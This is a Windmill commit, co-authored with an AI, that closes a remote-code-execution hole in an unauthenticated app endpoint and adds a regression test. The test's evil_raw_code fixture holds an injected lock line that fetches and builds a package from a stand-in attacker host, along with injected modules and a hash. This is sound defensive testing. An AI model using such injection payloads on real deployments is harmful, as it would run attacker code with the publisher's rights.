fix(apps): run-mode inline app component runs only the pinned content

`execute_component` is mounted in `unauthed_service()`; for an anonymous-mode app
it is reachable without authentication and the job runs on-behalf-of the app
publisher. A run-mode no-id inline `raw_code` runnable is authorized only against
the `sha256(content)` policy pin, so every other `raw_code` field was
caller-controlled: `lock` is installed verbatim (a PEP 508 direct URL builds an
sdist and runs `setup.py`; a bun lock runs `postinstall`), `modules` are inline
sources, and `hash` becomes the job's `runnable_id`, making the worker fetch and
run a deployed script by hash instead of the pinned content — each is code
execution as the publisher.

This run-mode no-id arm is legacy back-compat: current deploys assign an
`app_script` id (reduce_app) and take the id-based arm, which reads the
server-stored lock. In run mode, rebuild the inline payload from the
pin-authorized fields only (`content`, `language`, `path`, `cache_ttl`) and
default the rest, so a caller cannot smuggle a lock, modules, hash or any future
field into a publisher-run job. Preview mode (the app editor / `wmill app dev`,
run as the authenticated non-operator caller — the `/jobs/run/preview`
equivalent) is unchanged and still honors caller-supplied fields.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
This commit is contained in:
Ruben Fiszel
2026-09-15 14:43:17 +02:00
co-authored by Claude Opus 4.8
parent 75ee497011
commit 5401e1e7c8
4 changed files with 227 additions and 2 deletions
@@ -0,0 +1,34 @@
{
"db_name": "PostgreSQL",
"query": "SELECT raw_lock, runnable_id, jsonb_exists(args, '_MODULES') AS has_modules FROM v2_job WHERE id = $1",
"describe": {
"columns": [
{
"ordinal": 0,
"name": "raw_lock",
"type_info": "Text"
},
{
"ordinal": 1,
"name": "runnable_id",
"type_info": "Int8"
},
{
"ordinal": 2,
"name": "has_modules",
"type_info": "Bool"
}
],
"parameters": {
"Left": [
"Uuid"
]
},
"nullable": [
true,
true,
null
]
},
"hash": "07ad3afbbcca85766a515496d489ba12ed40541b4fadce7c65a714fd7c9edb95"
}
@@ -0,0 +1,22 @@
{
"db_name": "PostgreSQL",
"query": "SELECT raw_lock FROM v2_job WHERE id = $1",
"describe": {
"columns": [
{
"ordinal": 0,
"name": "raw_lock",
"type_info": "Text"
}
],
"parameters": {
"Left": [
"Uuid"
]
},
"nullable": [
true
]
},
"hash": "96a23a4a634afd94d71fe51cf992df028c0b899640dfe3ee1a8cc585ee67aaa1"
}
@@ -0,0 +1,148 @@
//! Regression test for run-mode inline-script trust in
//! `POST /api/w/:workspace/apps_u/execute_component/:path`.
//!
//! An `ExecutionMode::Anonymous` app is reachable without authentication and its
//! jobs run on-behalf-of the app publisher. In "run" mode (no
//! `force_viewer_static_fields`) a no-id inline `raw_code` runnable is authorized
//! only against the `sha256(content)` pin, so every other `raw_code` field is
//! caller-controlled: `lock` is installed verbatim (a PEP 508 direct URL builds an
//! sdist, a bun lock runs `postinstall`), `modules` are inline sources, and `hash`
//! becomes the job's `runnable_id`, which makes the worker fetch and run a deployed
//! script by hash instead of the pinned content — each is code execution as the
//! publisher.
//!
//! This pins that in run mode the no-id inline arm runs only the pinned content:
//! `lock`, `modules` and `hash` are dropped. Preview mode (the app-editor /
//! `wmill app dev` path, run as the authenticated caller — the `/jobs/run/preview`
//! equivalent) keeps honoring the caller-supplied `lock`.
use serde_json::json;
use sqlx::{Pool, Postgres};
use windmill_test_utils::*;
// sha256("def main():\n return 1\n"), the content-hash the policy pins.
const CONTENT: &str = "def main():\n return 1\n";
const CONTENT_SHA: &str = "13e9ae3486a224c96a589306cbfdf9dafd96593694e3b4632548f2999cf2299f";
const APP_PATH: &str = "u/test-user/lock_injection_app";
fn client() -> reqwest::Client {
reqwest::Client::new()
}
/// The pinned benign content plus every unauthenticated field: a lock (installed
/// verbatim), inline modules, and a hash that would select a deployed script.
fn evil_raw_code() -> serde_json::Value {
json!({
"content": CONTENT,
"language": "python3",
"path": format!("{APP_PATH}/a"),
"lock": "evilpkg @ https://attacker.example/evil.tar.gz",
"modules": { "m.py": { "content": "raise RuntimeError('pwned')", "language": "python3" } },
"hash": 424242424242_i64
})
}
#[sqlx::test(fixtures("base"))]
async fn test_run_mode_runs_only_pinned_content(db: Pool<Postgres>) -> anyhow::Result<()> {
initialize_tracing().await;
let server = ApiServer::start(db.clone()).await?;
let port = server.addr.port();
let ws = format!("http://localhost:{port}/api/w/test-workspace");
// Deploy an anonymous app pinning one inline python component by content hash,
// exactly as the deploy-time policy bundler emits `<component>:rawscript/<sha>`.
let resp = client()
.post(format!("{ws}/apps/create"))
.header("Authorization", "Bearer SECRET_TOKEN")
.json(&json!({
"path": APP_PATH,
"summary": "lock injection regression app",
"value": {"type": "app", "grid": [], "subgrids": {}, "hiddenInlineScripts": [
{"name": "a", "language": "python3", "content": CONTENT, "path": format!("{APP_PATH}/a")}
]},
"policy": {
"execution_mode": "anonymous",
"on_behalf_of": null,
"on_behalf_of_email": null,
"triggerables_v2": {
"a": {"static_inputs": {}, "one_of_inputs": {}},
format!("a:rawscript/{CONTENT_SHA}"): {"static_inputs": {}, "one_of_inputs": {}}
}
}
}))
.send()
.await?;
assert_eq!(resp.status(), 201, "create app: {}", resp.text().await?);
// Run mode, no id, no auth: the attacker supplies lock + modules + hash.
let resp = client()
.post(format!("{ws}/apps_u/execute_component/{APP_PATH}"))
.json(&json!({ "component": "a", "args": {}, "raw_code": evil_raw_code() }))
.send()
.await?;
let status = resp.status();
let job_id = resp.text().await?;
assert_eq!(
status, 200,
"benign pinned content must still be accepted and enqueued: {job_id}"
);
let job_id: uuid::Uuid = job_id.trim().parse()?;
// The enqueued job must carry none of the caller-supplied fields: no lock, no
// `_MODULES` (dropping `raw_code.modules` skips the push-time injection), and no
// `runnable_id` (a caller `hash` there would run a deployed script by hash).
let row = sqlx::query!(
"SELECT raw_lock, runnable_id, jsonb_exists(args, '_MODULES') AS has_modules \
FROM v2_job WHERE id = $1",
job_id
)
.fetch_one(&db)
.await?;
assert_eq!(
row.raw_lock, None,
"run mode must strip the caller-supplied lock"
);
assert_eq!(
row.runnable_id, None,
"run mode must strip the caller-supplied hash (no run-by-hash of a deployed script)"
);
assert_eq!(
row.has_modules,
Some(false),
"run mode must strip the caller-supplied modules"
);
// Preview mode (authenticated non-operator, the /jobs/run/preview equivalent)
// must keep honoring the caller-supplied lock — the strip is run-mode only.
let preview_lock = "# a caller lock preview must keep";
let resp = client()
.post(format!("{ws}/apps_u/execute_component/{APP_PATH}"))
.header("Authorization", "Bearer SECRET_TOKEN_2")
.json(&json!({
"component": "a",
"args": {},
"force_viewer_static_fields": {},
"raw_code": {
"content": CONTENT,
"language": "python3",
"path": format!("{APP_PATH}/a"),
"lock": preview_lock
}
}))
.send()
.await?;
let status = resp.status();
let job_id = resp.text().await?;
assert_eq!(status, 200, "preview must be enqueued: {job_id}");
let job_id: uuid::Uuid = job_id.trim().parse()?;
let raw_lock = sqlx::query_scalar!("SELECT raw_lock FROM v2_job WHERE id = $1", job_id)
.fetch_one(&db)
.await?;
assert_eq!(
raw_lock.as_deref(),
Some(preview_lock),
"preview mode must preserve the caller-supplied lock"
);
Ok(())
}
+23 -2
View File
@@ -4300,10 +4300,31 @@ async fn execute_component(
(Some(path), None, None) => {
get_payload_tag_from_prefixed_path(&path, &db, &w_id).await?
}
// inline script: "preview" mode, or run mode without an entry in the
// `app_script` table (legacy `rawscript/<sha>`-keyed triggerables).
// inline script: "preview" mode, or run mode with no `app_script`
// entry. The run-mode case is legacy back-compat: current deploys
// assign an `app_script` id (reduce_app) and take the `Some(id)` arm
// below, so it can be dropped once id-less deployed apps are gone.
(None, Some(raw_code), None) => {
let tag = resolved_inline_tag(raw_code.tag.clone());
let raw_code = if is_preview {
// Preview (editor / `wmill app dev`) runs the caller's own code
// as themselves, like `/jobs/run/preview` — honored verbatim.
raw_code
} else {
// Run mode authorizes only `content` (the `rawscript/<sha>` pin)
// on a job that runs as the app publisher, so rebuild from the
// pinned fields and default the rest: a caller `hash` (runs a
// deployed script by hash), `lock` (installed verbatim), or
// `modules` would otherwise run or install unpinned code as the
// publisher. Reconstructing keeps a newly added field safe.
RawCode {
content: raw_code.content,
language: raw_code.language,
path: raw_code.path,
cache_ttl: raw_code.cache_ttl,
..Default::default()
}
};
(JobPayload::Code(raw_code), tag, None)
}
// inline script: run mode (deployed app) with an entry in `app_script`.